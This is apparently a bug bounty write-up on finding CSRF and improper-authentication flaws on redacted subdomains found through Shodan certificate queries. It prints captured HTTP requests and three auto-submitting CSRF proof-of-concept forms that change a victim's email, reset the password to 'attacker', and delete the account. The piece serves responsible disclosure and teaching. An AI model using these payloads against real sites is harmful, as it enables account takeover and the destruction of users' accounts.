بِسْمِ اللَّهِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَى رَسُولِ اللَّهِ، وَعَلَى آلِهِ وَصَحْبِهِ وَمَنْ وَالَاهُ، اللَّهُمَّ صَلِّ وَسَلِّمْ وَبَارِكْ عَلَى نَبِيِّنَا مُحَمَّدٍ ﷺ.

Hi everyone,

I'm Marwan Elshamy, and I hope you find this write-up useful.

Introduction

Shodan is a powerful tool for discovering exposed services. With the right mindset, it can lead to genuinely impactful vulnerabilities by uncovering overlooked or forgotten attack surfaces. For additional background on Shodan recon, see this blog by Intigriti.

In this write-up, I'll walk through how a simple Shodan-based recon methodology led me to discover multiple CSRF vulnerabilities and an improper authentication issue within the same VDP on HackerOne.

Recon Methodology

Let's refer to the program as target.com. Since the scope allowed the wildcard *.target.com, I used the following Shodan query to discover related subdomains:

ssl.cert.subject.CN:"target.com"

I carefully reviewed and filtered the results, excluding entries with irrelevant titles (for example, -http.title:"Invalid URL"). I also filtered for IPs returning HTTP status code 200 by adding + 200 to the query to focus only on active hosts. Shodan's facet analysis was also helpful in quickly identifying relevant results.

None

This process led me to identify multiple subdomains, two of which immediately caught my attention:

  • [redacted].it.target.com
  • portal.[redacted].target.com

Finding #1: CSRF in Account Information Update

After opening the first subdomain, I was presented with login and registration forms as shown below:

None
None
spider sense triggered ;)

I created an account and logged in, then I started testing the different functionalities and while testing the profile update feature (email, phone number, and other PII), I noticed that the update request lacked any CSRF protection (no CSRF token, no per-request identifier)

It was like this:

POST /EditUserInfo.tcl HTTP/1.1
Host: [redacted].it.target.com
Cookie: <Cookie>
Content-Length: 155
Cache-Control: max-age=0
Origin: https://[redacted].it.target.com
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://[redacted].it.target.com/EditUserInfo.tcl
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,ar;q=0.8,ak;q=0.7
Priority: u=0, i
Connection: keep-alive

login=<login_name>&user_mode=external&user_name=<user_name>&company=<company>&customer_id=<customer_id>&phone=<phone_number>&fax=&email=<email>&update_user=Update+%C2%BB

I created a simple CSRF Proof of Concept using this website and confirmed that it successfully updated the account information when visited while authenticated.

The PoC:

<html>
 <body>
  <form method="POST" action="https://[redacted].it.target.com/EditUserInfo.tcl">
   <input type="hidden" name="login" value=""/>
   <input type="hidden" name="user_mode" value="external"/>
   <input type="hidden" name="user_name" value="attacker"/>
   <input type="hidden" name="company" value="company"/>
   <input type="hidden" name="customer_id" value="1234"/>
   <input type="hidden" name="phone" value="123456789"/>
   <input type="hidden" name="fax" value="451324"/>
   <input type="hidden" name="email" value="attacker@evil.com"/>
   <input type="hidden" name="update_user" value="Update+%C2%BB"/>
  </form>
  <script>
      document.forms[0].submit();
  </script>
 </body>
<html>

So I reported it and yes it was accepted and resolved after a few "any update!" :)

Note: It could have been a one-click account takeover by resetting the password of the victim account after changing his email but the reset password functionality wasn't working on this subdomain.

None

Finding #2: Improper Authentication in Password Change Function

Next, I moved on to the second subdomain portal.[redacted].target.com and I followed the same approach by creating an account, logging in, and testing the available functionalities and while testing the change password functionality the request seemed like this:

POST /aio/api/v2/change_password HTTP/1.1
Host: sso.[redacted].com
Content-Length: 97
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer eyJraWQi***************************
Cache-Control: no-cache
Accept-Language: en-us
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: https://portal.[redacted].target.com
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

{"mail":"<email>","oldPassword":"<old password>","newPassword":"<new password>"}

The request did not rely on session cookies; instead, it depended solely on the Authorization header. However, when I removed the Authorization header entirely, the request was still accepted by the server. This meant that the endpoint did not properly enforce authentication based on the active session or token presence, relying only on user-supplied credentials, resulting in improper authentication enforcement.

None

Finding #3: CSRF Leading to One-Click Account Takeover

After that, I returned to the first subdomain [redacted].it.target.com to continue testing other features and while testing the change password functionality, I discovered that this action was also vulnerable to CSRF and the request was similar to the first one (the same endpoint) so I created the PoC:

<html>
 <body>
  <form method="POST" action="https://[redacted].it.target.com/EditUserInfo.tcl">
   <input type="hidden" name="login" value="attacker"/>
   <input type="hidden" name="password" value="attacker"/>
   <input type="hidden" name="password2" value="attacker"/>
   <input type="hidden" name="change_password" value="Change+Password+%C2%BB"/>
  </form>
  <script>
      document.forms[0].submit();
  </script>
 </body>
<html>

And it successfully changed the account's password, resulting in a one-click account takeover vulnerability. While the vulnerability does not directly expose usernames, this does not meaningfully reduce the impact, as usernames are often discoverable through standard reconnaissance techniques such as registration flows, public profile enumeration, or email pattern analysis.

None

During further testing, I also identified a CSRF vulnerability affecting the account deletion functionality. The endpoint responsible for deleting user accounts did not implement any CSRF protection, allowing a malicious website to trigger account deletion on behalf of an authenticated user. This highlights the lack of CSRF defenses across sensitive account-related actions. The request was similar to the first one (the same endpoint). The PoC:

<html>
 <body>
  <form method="POST" action="https://[redacted].it.target.com/EditUserInfo.tcl">
   <input type="hidden" name="login" value="attacker"/>
   <input type="hidden" name="user_mode" value="external"/>
   <input type="hidden" name="user_name" value="attacker"/>
   <input type="hidden" name="company" value="company"/>
   <input type="hidden" name="customer_id" value="123"/>
   <input type="hidden" name="phone" value="123456789"/>
   <input type="hidden" name="fax" value="436"/>
   <input type="hidden" name="email" value="attacker@evil.com"/>
   <input type="hidden" name="delete_user" value="Delete+%C2%BB"/>
  </form>
  <script>
      document.forms[0].submit();
  </script>
 </body>
<html>
None

Conclusion

This write-up is not focused on a single vulnerability class. Instead, it highlights the importance of discovering new and overlooked attack surfaces.

Strong asset discovery can significantly expand the attack surface. In many cases, forgotten or overlooked subdomains present weaker security controls than primary production environments.

Thank you for reading ❤

None

If you'd like to connect: LinkedIn: https://www.linkedin.com/in/elshamy-marwan/